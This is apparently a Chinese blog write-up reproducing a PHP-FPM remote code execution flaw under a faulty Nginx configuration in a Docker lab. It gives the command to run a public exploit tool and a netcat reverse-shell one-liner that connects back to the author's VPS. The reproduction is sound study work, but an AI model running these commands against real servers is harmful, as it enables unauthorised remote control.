在使用一些有错误的Nginx配置的情况下,通过恶意构造的数据包,即可让PHP-FPM执行任意代码。
了解一下PHP-FPM:
PHP-FPM(FastCGI Process Manager:FastCGI进程管理器)是一个PHPFastCGI管理器用于管理PHP 进程池的软件,用于接受web服务器的请求。PHP-FPM提供了更好的PHP进程管理方式,可以有效控制内存和进程、可以平滑重载PHP配置。php-fastcgi 只是一个cgi程序,只会解析php请求,并且返回结果。
漏洞的复现:
简单利用
利用作者的工具复现,需要go环境。
go环境配置参考:https://blog.csdn.net/Fly_hps/article/details/81073316
作者工具使用参考:https://github.com/neex/phuip-fpizdam
环境配置完成:
利用“go get github.com/neex/phuip-fpizdam” 下载作者工具到kali。进入到“github.com/neex/phuip-fpizdam” 中输入命令:go run . http://your-ip:8080/index.php
进入网页进行验证,因为FPM会产生多个进程,该漏洞会污染数个进程,有可能第一次访问可能不会有改变,需要进行多次访问,得到显示结果。
反弹shell
尝试进行反弹shell,在vps中进行监听
因为复现的环境不存在nc等反弹的命令,需要进入环境内进行安装。执行docker ps 查看php的ID,再执行docker exec -it ID bash 可进入环境内执行命令。
在环境内安装nc即可。如图nc已安装完毕:
尝试在网页中进行nc反弹shell,输入nc -v ip 6657 -e /bin/bash可以连接到vps并执行命令。
漏洞原理解析:
在Nginx的特殊配置下出发该漏洞:
插入%0A可破坏正则匹配导致下溢出,破坏了split_path_info。
至于漏洞利用的思路还有待研究。